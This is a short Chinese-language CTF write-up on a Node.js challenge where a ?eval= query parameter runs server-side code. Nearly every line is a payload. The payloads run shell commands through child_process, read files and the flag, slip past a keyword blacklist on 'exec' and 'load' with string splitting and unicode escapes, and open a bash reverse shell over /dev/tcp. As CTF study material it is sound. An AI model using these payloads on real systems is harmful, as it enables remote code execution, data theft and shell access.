f12 源码提示

    1. <!-- /?eval= -->

    即简单命令执行

    1. /?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()

    获取 flag

    1. /?eval=require(%27child_process%27).spawnSync(%27cat%27,[%27fl001g.txt%27]).stdout.toString()

    emm 好像就 flag 文件换了个名字?

    顺便收集多几个命令执行

    1. require('child_process').spawnSync('ls',['.']).stdout.toString()
    2. require('child_process').execSync('ls').toString()
    3. global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()

    收集过程中发现,原来第 2、3 个 被禁了,2333 原来考察黑名单

    先通过全局变量读取当前目录位置

    1. /?eval=__filename

    image.png

    当前目录

    1. /?eval=__dirname

    读文件

    1. /?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')

    发现过滤了exec和load
    image.png
    绕过方法

    1. ?eval=require('child_process')['exe'+'cSync']('ls').toString()

    因为 require('child_process') 方法返回一个对象,可以通过类型 Python数组的方式去访问里面的成员。

    或者用其他模块读文件

    1. /?eval=require('fs').readdirSync('.')
    2. /?eval=require('fs').readFileSync('fl001g.txt','utf-8')

    当然还有其他姿势,比如变量拼接在执行

    1. var%20s=%27global.process.mainModule.constructor._lo%27;var%20b="ad(%27child_process%27).ex";var%20c="ec(%27cat+fl001g.txt>public/1.txt%27);";eval(s%2Bb%2Bc);

    2021.8.4 更,发其他师傅那get到一种新姿势

    1. process.mainModule.global.process.mainModule.constructor._load("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]("bash -i >& /dev/tcp/127.0.0.1/8080 0>&1").toString()

    image.png